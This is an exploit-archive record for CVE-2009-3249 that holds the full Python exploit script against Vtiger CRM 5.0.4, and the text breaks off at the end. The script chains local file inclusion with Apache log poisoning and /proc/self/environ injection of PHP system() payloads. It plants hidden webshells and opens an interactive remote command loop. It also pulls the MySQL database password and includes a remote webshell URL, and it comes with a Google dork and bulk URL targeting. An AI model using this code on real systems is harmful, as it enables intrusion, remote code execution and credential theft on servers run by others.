{"exploit":{"id":"EDB-16280","name":"Vtiger CRM 5.0.4 - Local File Inclusion (LFI)","description":"Vtiger CRM 5.0.4 - Local File Inclusion (LFI)","cves":["CVE-2009-3249"],"author":"TecR0c","published":"2011-03-05","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16280","path":"exploits/php/webapps/16280.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16280.py","vulnerabilities":[{"id":"CVE-2009-3249","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in vtiger CRM 5.0.4 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in (1) the module parameter to graph.php; or the (2) module or (3) file parameter to include/Ajax/CommonAjax.php, reachable through modules/Campaigns/CampaignsAjax.php, modules/SalesOrder/SalesOrderAjax.php, modules/System/SystemAjax.php, modules/Products/ProductsAjax.php, modules/uploads/uploadsAjax.php, modules/Dashboard/DashboardAjax.php, modules/Potentials/PotentialsAjax.php, modules/Notes/NotesAjax.php, modules/Faq/FaqAjax.php, modules/Quotes/QuotesAjax.php, modules/Utilities/UtilitiesAjax.php, modules/Calendar/ActivityAjax.php, modules/Calendar/CalendarAjax.php, modules/PurchaseOrder/PurchaseOrderAjax.php, modules/HelpDesk/HelpDeskAjax.php, modules/Invoice/InvoiceAjax.php, modules/Accounts/AccountsAjax.php, modules/Reports/ReportsAjax.php, modules/Contacts/ContactsAjax.php, and modules/Portal/PortalAjax.php; and allow remote authenticated users to include and execute arbitrary local files via a .. (dot dot) in the step parameter in an Import action to the (4) Accounts, (5) Contacts, (6) HelpDesk, (7) Leads, (8) Potentials, (9) Products, or (10) Vendors module, reachable through index.php and related to modules/Import/index.php and multiple Import.php files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3249","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3249"},"updatedAt":"2024-08-07T06:22:23.988Z","retrievedAt":"2026-11-27T06:06:31.409Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16280.png?v=2","url":"https://exploitbin.com/exploits/EDB-16280","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16280/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16280/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# ~INFORMATION:\t\t\t\t\t\t\t\t\t#\n# Exploit Title:\tVtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit  #\n# Google Dork:\t\t\"The honest Open Source CRM\" \"vtiger CRM 5.0.4\"\t\t#\n# Date: \t\t5/3/2011\t\t\t\t\t\t#\n# CVE:\t\t\tCVE-2009-3249\t\t\t\t\t\t#\n# Windows link:\t\thttp://bit.ly/fiOYCL\t\t\t\t\t#\n# Linux link:\t\thttp://bit.ly/hluzLf\t\t\t\t\t#\n# Tested on:\t\tWindows XP/Linux Ubuntu\t\t\t\t\t#\n# PHP.ini Settings:\tgpc_magic_quotes = Off\t\t\t\t\t#\n# Advisory: http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt\t#\n# Creds: Giovanni \"evilaliv3\" Pellerano, Antonio \"s4tan\" Parata and Francesco\t#\n# \"ascii\" Ongaro are credited with the discovery of this vulnerability.\t\t#\n# Greetz: mr_me, sud0, sinn3r & my other fellow hackers\t\t\t\t#\n# Note: Loading URL files may require tampering of code ;-)\t\t\t#\n\n# ~VULNERABLE CODE:\n'''\nif(isset($_REQUEST['action']) && isset($_REQUEST['module']))\n{\n        $action = $_REQUEST['action'];\n        $current_module_file = 'modules/'.$_REQUEST['module'].'/'.$action.'.php';\n        $current_module = $_REQUEST['module'];\n}\nelseif(isset($_REQUEST['module']))\n{\n\t$current_module = $_REQUEST['module'];\n\t$current_module_file = 'modules/'.$_REQUEST['module'].'/Charts.php';\n}\nelse {\n    exit();\n...\n...\n...\nrequire_once($current_module_file);\n'''\n# ~EXPLOIT:\nimport linecache,random,sys,urllib,urllib2,time,re,httplib,socket,base64,os,webbrowser,getpass\nfrom optparse import OptionParser\nfrom urlparse import urlparse,urljoin\nfrom urllib import urlopen\n\n__CONTACT__ =\"TecR0c(tecr0c@tecninja.net)\"\n__DATE__ =\"3.3.2011\"\n__VERSION__ = \"1.0\"\n\n# Options for running script\nusage = \"\\nExample : %s http://localhost/vtigercrm/ -p 172.167.876.34:8080\" % __file__\nparser = OptionParser(usage=usage)\nparser.add_option(\"-p\",\"--p\", type=\"string\",action=\"store\", dest=\"proxy\",\n        help=\"HTTP Proxy <server>:<port>\")\nparser.add_option(\"-f\",\"--f\", type=\"string\",action=\"store\", dest=\"file\",\n        help=\"Input list of target URLS\")\nparser.add_option(\"-P\",\"--P\",type=\"int\",action='store', default=\"80\", dest=\"port\",\n        help=\"Choose Port [Default: %default]\")\n\n(options, args) = parser.parse_args()\n\nnumlines=0\n# Parameter for command execution\nvulnWebPage = \"graph.php?module=\"\n# Loca File inclusion path\nlfi = \"../../../../../../../../../\"\n# OS Linux detection\nlinuxOS = \"etc/passwd\"\n# OS Windows Detection\nwindowsOS = \"windows/win.ini\"\n# Windows default non-IIS setup access log file for vtiger\nwinLogs = \"../../../logs/access.log\"\n# Windows Vtiger Instllation PHP Info file\nvtPlatformLog = \"../logs/platform.log\"\n# Linux Log files\nlnxLogs =['/var/log/access_log',\n        '/var/log/access.log',\n        '/var/log/apache2/access_log',\n        '/var/log/apache2/access.log',\n        '/var/log/apache2/error_log',\n        '/var/log/apache2/error.log',\n        '/var/log/apache/access_log',\n        '/var/log/apache/access.log',\n        '/var/log/apache/error_log',\n        '/var/log/apache/error.log',\n        '/var/log/user.log',\n        '/var/log/user.log.1',\n        '/apache/logs/access.log',\n        '/apache/logs/error.log',\n        '/etc/httpd/logs/acces_log',\n        '/etc/httpd/logs/acces.log',\n        '/etc/httpd/logs/access_log',\n        '/etc/httpd/logs/access.log',\n        '/etc/httpd/logs/error_log',\n        '/etc/httpd/logs/error.log',\n        '/usr/local/apache2/logs/access_log',\n        '/usr/local/apache2/logs/access.log',\n        '/usr/local/apache2/logs/error_log',\n        '/usr/local/apache2/logs/error.log',\n        '/usr/local/apache/logs/access_log',\n        '/usr/local/apache/logs/access.log',\n        '/usr/local/apache/logs/error_log',\n        '/usr/local/apache/logs/error.log'\n\t'/logs/access.log',\n        '/logs/error.log',\n\t'/var/log/error_log',\n        '/var/log/error.log',\n        '/var/log/httpd/access_log',\n        '/var/log/httpd/access.log',\n        '/var/log/httpd/error_log',\n        '/var/log/httpd/error.log',\n        '/var/www/logs/access_log',\n        '/var/www/logs/access.log',\n        '/var/www/logs/error_log',\n        '/var/www/logs/error.log']\n# User Agents\nagents = [\"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\",\n        \"Internet Explorer 7 (Windows Vista); Mozilla/4.0 \",\n        \"Google Chrome 0.2.149.29 (Windows XP)\",\n        \"Opera 9.25 (Windows Vista)\",\n        \"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)\",\n        \"Opera/8.00 (Windows NT 5.1; U; en)\"]\nagent = random.choice(agents)\n\ndef banner():\n    if os.name == \"posix\":\n        os.system(\"clear\")\n    else:\n        os.system(\"cls\")\n    header = '''\n ____   _______________.___  _____________________________\n \\   \\ /   /\\__    ___/|   |/  _____/\\_   _____/\\______   \\\n  \\   Y   /   |    |   |   /   \\  ___ |    __)_  |       _/\n   \\     /    |    |   |   \\    \\_\\  \\|        \\ |    |   \\\n    \\___/     |____|   |___|\\______  /_______  / |____|_  /\n                      __,,,,_\n       _ __..-;''`--/'/ /.',-`-.\n   (`/' ` |  \\ \\ \\ / / / / .-'/`,_   Version 5.0.4\n  /'`\\ \\   |  \\ | \\| // // / -.,/_,'-,\n /<7' ;  \\ \\  | ; ||/ /| | \\/    |`-/,/-.,_,/')\n/  _.-, `,-\\,__|  _-| / \\ \\/|_/  |    '-/.;.''\n`-`  f/ ;      / __/ \\__ `/ |__/ |\n     `-'      |  -| =|\\_  \\  |-' | %s\n           __/   /_..-' `  ),'  // Date %s\n          ((__.-'((___..-'' \\__.'\n\n'''%(__CONTACT__,__DATE__)\n    for i in header:\n        print \"\\b%s\"%i,\n        sys.stdout.flush()\n        time.sleep(0.003)\n\n# Written to clean up shell output\ndef cleanUp(response):\n\t\"\"\" Comment or Uncomment if you want to filter the unwanted text returned in logs \"\"\"\n\tresponse = re.sub('<b(.*)',\"\", response)\n\tresponse = re.sub(\"Fatal error(.*)\",\"\", response)\n\tresponse = re.sub(\"Warning(.*)\",\"\", response)\n\tresponse = re.sub('Notice(.*)',\"\", response)\n\treturn response\n\ndef firstMenu():\n\tprint '''\n[+] 1. Test Environment\n[+] 2. Straight To Menu'''\n        if options.file:\n\t\tprint \"[+] 3. Go To Next URL\"\n\tmenuChoice = raw_input(\"\\n>> Enter Your Choice: \")\n        if menuChoice == \"1\":\n\t\tsystemOS = informationGathering()\n        if menuChoice == \"2\":\n                systemOS = raw_input(\"[+] Which OS? (w)indows Or (l)inux: \")\n        if menuChoice == \"3\":\n\t\twebsiteList(options.file)\n\t\tfirstMenu()\n\tif systemOS == \"l\":\n                linuxMenu()\n        if systemOS == \"w\":\n                windowsMenu()\n\tif systemOS == None:\n\t\tfirstMenu()\n\ndef websiteList(websiteFile):\n\tglobal numlines\n\tnumlines+=1\n\turl = linecache.getline(websiteFile, numlines)\n\turl = url[:-1]\n\tif url == '':\n\t\tprint \"[-] No More Entries\\n\"\n\t\tsys.exit()\n\tprint \"\\n[\"+str(numlines)+\"] Target: \"+url\n\turl=urlparse(url)\n\treturn (url, numlines)\n\ndef getProxy():\n\t\"\"\" Lets you setup a proxy using the proxy defined in options.proxy \"\"\"\n        try:\n\t\tproxy_handler = urllib2.ProxyHandler({'http': options.proxy})\n\t\tsocket.setdefaulttimeout(100)\n\texcept(socket.timeout):\n                print \"\\n[-] Proxy Timed Out\"\n                sys.exit(1)\n        return proxy_handler\n\ndef lfiRequest(localFile):\n        \"\"\" Lets you send a GET request to see if LFI is posible either by proxy or direct \"\"\"\n\tif options.proxy:\n\t\ttry:\n\t\t\tfetch_timeout = 20\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tproxyfier.addheaders = [('User-agent', agent)]\n\t\t\tresponse = proxyfier.open(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+localFile+\"%00\",None,fetch_timeout).read()\n\t\texcept urllib2.HTTPError, error:\n\t\t\tif error.code == '500':\n\t\t\t\tpass\n\t\t\tif options.file:\n\t\t\t\tprint \"[+] Try Next URL\"\n                                websiteList(options.file)\n\t\t\t\tfirstMenu()\n\t\t\t\tsys.exit()\n\t\t\telse:\n\t\t\t\tprint \"[-] Check Your Webaddress And Directory\"\n\t\t\t\tsys.exit()\n                except(urllib2.URLError):\n                        print \"[-] Could Not Communicate With TARGET\\n\"\n                        print '[-] Stopping Script\\n'\n                        sys.exit()\n\telse:\n\t\ttry:\n\t\t\tresponse = urllib2.Request(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+localFile+\"%00\")\n\t\t\tresponse.add_header('User-agent',agent)\n\t\t\tresponse = urllib2.urlopen(response).read()\n\t\t\tresponse = cleanUp(response)\n\t\texcept urllib2.HTTPError, error:\n\t\t\tif error.code == '500':\n\t\t\t\tpass\n\t\t\tif options.file:\n\t\t\t        print \"[+] Try Next URL\"\n                                websiteList(options.file)\n\t\t\t        firstMenu()\n\t\t\t        sys.exit()\n\t                else:\n \t\t\t\tprint \"[-] Did Not Work\"\n\t\texcept(urllib2.URLError):\n\t\t\tprint \"[-] Could Not Communicate With TARGET\"\n                        print '[-] Stopping Script\\n'\n                        sys.exit()\n\n\treturn response\n\ndef getRequest(localFile):\n\t\"\"\" Lets you send a GET request to see if LFI is posible either by proxy or direct \"\"\"\n\tif options.proxy:\n\t\ttry:\n\t\t\tfetch_timeout = 300\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tproxyfier.addheaders = [('User-agent', agent)]\n\t\t\tresponse = proxyfier.open(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+lfi+localFile+\"%00\",None,fetch_timeout).read()\n\t\texcept urllib2.HTTPError, error:\n                        errorMessage = str(error.code)\n\t\t\tif errorMessage == '500':\n                                print error\n\t\t\t\tresponse = error.read()\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tprint \"[-] Verify Address Manually:\"\n\t\t\t\tprint \"[+] \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+lfi+localFile+\"%00\"\n\t\t\t\tsys.exit()\n\telse:\n                try:\n\t\t\tresponse = urllib2.Request(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+lfi+localFile+\"%00\")\n\t\t\tresponse.add_header('User-agent',agent)\n\t\t\tresponse = urllib2.urlopen(response).read()\n\t\texcept urllib2.HTTPError, error:\n                        errorMessage = str(error.code)\n                     \tif errorMessage == '500':\n                                print error\n                                pass\n                        else:\n                                print \"[-] Verify Address Manually:\"\n                                print \"[+] \"+url.geturl()+vulnWebPage+lfi+localFile+\"%00\"\n                                sys.exit()\n\treturn response\n\ndef socketInject(payloadType):\n\t\"\"\" Lets you inject into the Apache access log by proxy or direct \"\"\"\n        if options.proxy:\n\t\ttry:\n                        proxyIp, proxyPort = options.proxy.split(':')\n                        proxyPort = int(proxyPort)\n\t\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                        sock.connect((proxyIp, proxyPort))\n                        if payloadType == 'systemPayload':\n\t\t\t\tsock.send(\"GET \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+\"/\"+\"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\\r\\n\")\n\t\t\t\tsock.send(\"User-Agent: \"+agent+\"\\r\\n\")\n\t\t\t\tsock.send(\"Host: \"+url.geturl()+\"\\r\\n\")\n\t\t\t\tsock.send(\"Connection: close\\r\\n\\r\\n\")\n\t\t\tif payloadType == 'includePayload':\n\t\t\t\tsock.send(\"GET \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+\"/\"+\"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\\r\\n\\r\\n\")\n                                sock.send(\"User-Agent: \"+agent+\"\\r\\n\")\n                                sock.send(\"Host: \"+url.geturl()+\"\\r\\n\")\n                                sock.send(\"Connection: close\\r\\n\\r\\n\")\n\t\t\tsock.close()\n\t\t\tprint \"[+] Injected Payload Into Logs\"\n\t\texcept:\n        \t        print \"[-] Could Not Inject Into Logs\"\n\t\t\tsys.exit(1)\n\telse:\n\t\ttry:\n\t\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\tsock.connect((url.netloc, options.port))\n\t\t\tif payloadType == 'systemPayload':\n\t\t\t\tsock.send(\"GET \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+\"/\"+\"<?php;system(base64_decode($_COOKIE[value]));?> HTTP/1.1\\r\\n\")\n\t\t\t\tsock.send(\"User-Agent: \"+agent+\"\\r\\n\")\n\t\t\t\tsock.send(\"Host: \"+url.scheme+url.netloc+\"\\r\\n\")\n\t\t\t\tsock.send(\"Connection: close\\r\\n\\r\\n\")\n\t\t\tif payloadType == 'includePayload':\n\t\t\t\tsock.send(\"GET \"+url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+\"/\"+\"<?php;include(base64_decode($_GET[cmd]));?> HTTP/1.0\\r\\n\")\n\t\t\t\tsock.send(\"User-Agent: \"+agent+\"\\r\\n\")\n\t\t\t\tsock.send(\"Host: \"+url.scheme+url.netloc+\"\\r\\n\")\n\t\t\t\tsock.send(\"Connection: close\\r\\n\\r\\n\")\n\t\t\tsock.close()\n\t\t\tprint \"[+] Injected Payload Into Logs\"\n\t\texcept:\n\t\t\tprint \"[-] Could Not Inject Into Logs\"\n\t\t\tsys.exit(1)\n\ndef postRequestWebShell(shellName,encodedCmd):\n\t\"\"\" WebShell which sends all POST requests to hide commmands being logged in access.log \"\"\"\n\twebSiteUrl = url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+\"cache/.\"+shellName+\".php\"\n\tif options.proxy:\n\t\ttry:\n\t\t\tcommandToExecute = [\n\t\t\t('cat',encodedCmd)]\n\t\t\tcmdData = urllib.urlencode(commandToExecute)\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tproxyfier.addheaders = [('User-agent', agent)]\n\t\t\tcmdContent = proxyfier.open(webSiteUrl, cmdData).read()\n\t\t\tcmdContent = cleanUp(cmdContent)\n\t\t\tprint cmdContent\n\t\texcept:\n\t\t\tprint \"[-] Request To .%s.php Failed\" % shellName\n\telse:\n                try:\n\t\t\tvalues = { 'User-Agent' : agent,\n                        'cat': encodedCmd}\n\t\t\tdata = urllib.urlencode(values)\n\t\t\trequest= urllib2.Request(webSiteUrl, data)\n\t\t\tresponse = urllib2.urlopen(request)\n\t\t\tresponse = response.read()\n\t\t\tresponse = cleanUp(response)\n\t\t\tprint response\n\t\texcept urllib2.HTTPError, error:\n                        response = error.read()\n\ndef readFromAccessLogs(cmd, logs):\n\t\"\"\" Lets you choose what type of os for the log location and command to run \"\"\"\n        if options.proxy:\n                try:\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tproxyfier.addheaders = [('User-agent', agent)]\n\t\t\tproxyfier.addheaders.append((\"Cookie\", \"value=\"+cmd))\n\t\t\tresponse = proxyfier.open(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+logs+\"%00\").read()\n                except urllib2.HTTPError, error:\n\t\t\tresponse = error.read()\n\t\t\tsys.exit()\n        else:\n                try:\n\t\t\tjunk = None\n\t\t\theaders = { 'User-Agent' : agent,\n\t\t\t'Cookie': 'value='+cmd}\n\t\t\tresponse = urllib2.Request(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+logs+\"%00\",junk,headers)\n\t\t\tresponse = urllib2.urlopen(response).read()\n\t\texcept urllib2.HTTPError, error:\n                        response = error.read()\n        return response\n\ndef informationGathering():\n\t\"\"\" Used to gather information if magic_quotes is on, what operating sytem is being used and if error messages are on \"\"\"\n\n        # Use default LICIENSE.txt file in webroot to gather information\n\trequestContent = lfiRequest(\"../LICENSE.txt\")\n\n\t# Test for Magic Quotes\n\tprint \"[+] INFORMATION GATHERING:\"\n\tprint \"[+] Checking if LFI Is Posible\"\n\tmagicQuotes = re.compile('SugarCRM Public')\n\tmagicQuotes = magicQuotes.search(requestContent)\n\tif magicQuotes:\n\t\tprint \"[+] magic_quotes_gpc = Off\"\n\telse:\n\t\tprint \"[-] magic_quotes_gpc = On\"\n\t\tprint \"[-] Or Your URL Is Incorrect\"\n\t\tif options.file:\n                        websiteList(options.file)\n\t\t        firstMenu()\n\t\telse:\n\t\t\tsys.exit()\n\t# OS Detection\n\ttry:\n\t\tpasswd = getRequest(linuxOS)\n\t\tsearchFor = re.compile('root:')\n\t\tsearchLinuxOS = searchFor.search(passwd)\n\t\tprint \"[!] Working Out The Operating System\"\n\t\tif searchLinuxOS:\n\t\t\tprint \"[!] OS Detection: Linux\"\n\t\t\tsystemOS = \"l\"\n\t\telif not searchLinuxOS:\n\t\t\twinini = getRequest(windowsOS)\n\t\t\tsearchFor = re.compile('16-bit')\n\t\t\tsearchWindowsOS = searchFor.search(winini)\n\t\t\tif searchWindowsOS:\n\t\t\t\tprint \"[!] OS Detection: Windows\"\n\t\t\t\tsystemOS= \"w\"\n\t\t\telse:\n\t\t\t\tprint \"[!] No Data Returned, You Will Have To Guess The Operating System\"\n\t       \t\t\tfirstMenu()\n\t\t\t\tsystemOS = None\n\texcept:\n\t\tprint \"[-] Could Not Run OS Detection\"\n\t\tprint \"[-] System OS Could Not Be Set Try Option 2\"\n\t\tsystemOS = None\n\ttry:\n\t\t# Checking for Error Messages\n\t\tprint \"[+] Checking If Error Messages Are Enabled\"\n\t\tpathError = re.compile(r\"(reference in (.*)on|not found in (.*)graph.php)\")\n\t\tfindPath = pathError.search(requestContent)\n\t\tif findPath:\n                \tprint \"[-]  Web Root Directory Is: \"+findPath.group(1)\n\t\telif findPath == None:\n\t\t\tplatformRequest = getRequest(vtPlatformLog)\n\t\t\tpathWinRootFinder = re.compile('REQUSET\\[\"root_directory\"\\]</td><td class=\"v\">(.*)</td>')\n\t\t\tfindWinPathRoot = pathWinRootFinder.search(platformRequest)\n\t\t\tif findWinPathRoot:\n\t\t\t\t print \"[-]  WWWRoot Directory From Platform.log Is: \"+findWinPathRoot.group(1)\n\t\telse:\n\t\t\tprint \"[-]  Did Not Find Any Path Disclosure\"\n\texcept:\n                print \"[-] Could Not Run Error Message Detection\"\n\treturn systemOS\n\ndef environInject(shellName):\n        \"\"\" Lets you get a shell through proc self environ by proxy or without \"\"\"\n\twebSiteUrl = url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+lfi+\"proc/self/environ\"+\"%00\"\n\tshellString = \"echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php\" % shellName\n\tif options.proxy:\n\t\ttry:\n\t\t\tprint '[+] Testing If /proc/self/environ Exists'\n\t\t\tproxyfier = urllib2.build_opener(getProxy())\n\t\t\tproxyfier.addheaders = [('User-agent', agent)]\n\t\t\tresponse = proxyfier.open(webSiteUrl).read()\n\t\t\tpatFinder = re.compile('HTTP_USER_AGENT')\n\t\t\tenvironContent = patFinder.search(response)\n\t\t\tif environContent:\n\t\t\t\tprint '[+] Web Application Vulnerable to proc/self/environ'\n\t\t\t\tproxyfier = urllib2.build_opener(getProxy())\n                                encodedCommand = base64.b64encode(shellString)\n                                commandToExecute = [\n                                ('cat',encodedCommand)]\n\t\t\t\tcmdData = urllib.urlencode(commandToExecute)\n\t\t\t\tproxyfier.addheaders = [('User-agent', \"<?php system(base64_decode($_POST[cat]));?>\")]\n\t\t\t\tcmdContent = proxyfier.open(webSiteUrl, cmdData).read()\n\t\t\telse:\n\t\t\t\tprint '[-] Could Not Create Shell'\n\t\t\t\tsys.exit()\n                except:\n                        print \"[-] Seems To Not Be Vulnerable To Proc Self Environment\"\n        \t\tlinuxMenu()\n\t\t\tsys.exit()\n\telse:\n                try:\n                        shellString = \"echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php\" % shellName\n                        encodedCommand = base64.b64encode(shellString)\n                        headers = {'User-Agent' : '<?php system(base64_decode($_POST[cat]));?>',\n                        'cat' : encodedCommand}\n                        cmdContent = urllib2.Request(webSiteUrl,junk,headers)\n\t\t\tcmdContent = urllib2.urlopen(cmdContent).read()\n\t\texcept urllib2.HTTPError, error:\n                        response = error.read()\n\t\t\tprint response\n\n\twhile True:\n\t\ttry:\n\t\t\tcommand = raw_input(commandLine)\n\t\t\tencodedCmd = base64.b64encode(command)\n\t\t\tpostRequestWebShell(shellName,encodedCmd)\n\t\texcept KeyboardInterrupt:\n\t\t\tencodedCmd = base64.b64encode('rm .'+shellName+'.php')\n\t\t\tpostRequestWebShell(shellName,encodedCmd)\n\t\t\tprint \"[-] CTRL+C Detected!\"\n\t\t\tprint \"[+] Removed .%s.php\\n\" % shellName\n\t\t\tsys.exit()\n\ndef logInject(payloadType):\n\t\"\"\" Lets you choose what type of payload to use such as include or system \"\"\"\n\tinject = raw_input(\"[?] To Inject? Press ENTER, Otherwise Type 'n' : \")\n\tif inject == 'yes' or inject == 'y' or inject == '':\n\t\tsocketInject(payloadType)\n        else:\n\t\tprint \"[!] Did Not Inject Into Logs\"\n\ndef proxyCheck():\n\tif options.proxy:\n\t\ttry:\n\t\t\th2 = httplib.HTTPConnection(options.proxy)\n\t\t\th2.connect()\n\t\t\tprint \"[+] Using Proxy Server:\",options.proxy\n\t\texcept(socket.timeout):\n\t\t\tprint \"[-] Proxy Timed Out\\n\"\n\t\t\tpass\n\t\t\tsys.exit(1)\n\t\texcept(NameError):\n\t\t\tprint \"[-] Proxy Not Given\\n\"\n\t\t\tpass\n\t\t\tsys.exit(1)\n\t\texcept:\n\t\t\tprint \"[-] Proxy Failed\\n\"\n\t\t\tpass\n\t\t\tsys.exit(1)\n\ndef shellMessage(shellName):\n\tprint '''\n # Shell: .%s.php\n ###########################\n # Welcome To Remote Shell #\n  # This Is Not Interactive #\n # To Exist Shell Ctrl + C #\n     # Hack The Gibson #\n ###########################\n\t''' % shellName\n\n# Linux Techniques\ndef linuxMenu():\n        print '''\n[+] 1. Terminal By Logs\n[+] 2. Terminal By Proc Self Environment'''\n        if options.file:\n                print '[+] 3. Go To Next URL'\n        lnxChoice = raw_input(\">> Enter Your Choice: \")\n\n        # Log Technique\n        if lnxChoice == '1':\n                print \"[!] Lets Hope You Got Rights To Their Logs!\"\n                for log in lnxLogs:\n                        print \"[-] Testing %s\" % log\n                        logReponse = getRequest(log)\n                        command2Find = re.compile('\" 200')\n                        findCommand = command2Find.search(logReponse)\n                        if findCommand:\n                                print \"[+] Injectable Log File Located @ %s\" % log\n                                logInject(\"systemPayload\")\n                                yourChoice = raw_input('[?] Do You Want To Create A Webshell? Press ENTER, Otherwise Type \\'n\\': ')\n                                logWithLfi = lfi+log\n                                if yourChoice == '':\n                                        shellName = raw_input('[?] Name Of Your Webshell: ')\n                                        print '[+] Creating Webshell'\n                                        systemCommand = \"echo '<?php;system(base64_decode($_REQUEST[cat]));?>' > cache/.%s.php\" % shellName\n                                        encodedCmd = base64.b64encode(systemCommand)\n                                        readFromAccessLogs(encodedCmd, logWithLfi)\n                                        print \"[!] Tempting To Create WebShell .%s.php\" % shellName\n                                        shellMessage(shellName)\n                                        while True:\n                                                try:\n                                                        command = raw_input(commandLine)\n                                                        encodedCmd = base64.b64encode(command)\n                                                        postRequestWebShell(shellName,encodedCmd)\n                                                except KeyboardInterrupt:\n                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')\n                                                        postRequestWebShell(shellName,encodedCmd)\n                                                        print \"[-] CTRL+C Detected!\"\n                                                        print \"[+] Removed .%s.php\\n\" % shellName\n                                                        sys.exit()\n                                else:\n                                        cleanUp(response)\n                                        logInject(\"systemPayload\")\n                                        while True:\n                                                try:\n                                                        command = raw_input(commandLine)\n                                                        encodedCmd = base64.b64encode(command)\n                                                        postRequestWebShell(shellName,encodedCmd)\n                                                except KeyboardInterrupt:\n                                                        encodedCmd = base64.b64encode('rm .'+shellName+'.php')\n                                                        postRequestWebShell(shellName,encodedCmd)\n                                                        print \"[-] CTRL+C detected!\"\n                                                        print \"[+] Removed .%s.php\\n\" % shellName\n                                                        sys.exit()\n        # Environ Technique\n        if lnxChoice == '2':\n\t\tshellName = raw_input('[?] Name Of Your Webshell: ')\n\t\tenvironInject(shellName)\n\n        if lnxChoice == '3':\n                websiteList(options.file)\n                firstMenu()\n                sys.exit()\n\ndef windowsMenu():\n\t\tprint '''\n[+] 1. Remote File Inclusion Browser Shell\n[+] 2. VTiger MySQL Password\n[+] 3. PHP WebShell\n\t\t'''\n        \twinChoice = raw_input(\">> Enter your choice: \")\n        \tif winChoice == '1':\n            \t\ttry:\n                \t\tlogInject(\"includePayload\")\n                \t\tprint \"[+] Example: http://www.xfocus.net.ru/soft/r57.txt\"\n                \t\trfi = raw_input('>>> Enter Your Remote Webshell URL: ')\n                \t\twebbrowser.open(url.scheme+\"://\"+url.netloc+\":\"+str(options.port)+url.path+vulnWebPage+winLogs+\"%00\"+\"&cmd=\"+base64.b64encode(rfi))\n                                print \"[+] Check Your Web Browser!\"\n                        except:\n                \t\tprint \"[-] RFI @ %s Did Not Work\" % rfi\n\t\tif winChoice == \"2\":\n\t\t\tf = lfiRequest(vtPlatformLog)\n\t\t\tpatFinder = re.compile('POST\\[\"db_password\"\\]</td><td class=\"v\">(.*)</td>')\n\t\t\tfindUser = patFinder.search(f)\n\t\t\tif findUser is None:\n\t\t\t\tprint '[-] Did Not Find MySQL Database Password'\n\t\t\telse:\n\t\t\t\tprint \"[!] VTiger Password: \"+findUser.group(1)\n\t\tif winChoice == \"3\":\n\t\t\tlogInject(\"systemPayload\")\n\t\t\tshellName = raw_input('[?] Name Of Your Webshell: ')\n\t\t\tsystemCommand = \"echo ^<?php;system(base64_decode($_REQUEST[cat]));?^> > cache/.%s.php\" % shellName\n\t\t\tencodedCmd = base64.b64encode(systemCommand)\n\t\t\treadFromAccessLogs(encodedCmd, winLogs)\n\t\t\tprint \"[!] Created WebShell .%s.php\" % shellName\n\t\t\tshellMessage(shellName)\n\t\t\twhile True:\n\t\t\t\ttry:\n\t\t\t\t\tcommand = raw_input(commandLine)\n\t\t\t\t\tencodedCmd = base64.b64encode(command)\n\t\t\t\t\tpostRequestWebShell(shellName,encodedCmd)\n\t\t\t\texcept KeyboardInterrupt:\n\t\t\t\t\tencodedCmd = base64.b64encode('del .'+shellName+'.php')\n\t\t\t\t\tpostRequestWebShell(shellName,encodedCmd)\n\t\t\t\t\tprint \"[-] CTRL+C Detected!\"\n\t\t\t\t\tprint \"[+] Removed .%s.php\\n\" % shellName\n\t\t\t\t\tsys.exit()\nif \"__main__\" == __name__:\n\tbanner()\n        proxyCheck()\n\ttry:\n\t        url=urlparse(args[0])\n\texcept:\n\t\tif options.file:\n\t\t\tprint \"[+] Using Website List\"\n\t\t\turl,numlines = websiteList(options.file)\n\t\telse:\n\t\t\tparser.print_help()\n                \tprint \"\\n[-] Check Your URL\\n\"\n\t\t\tsys.exit(1)\n\tif not url.scheme:\n\t\tprint 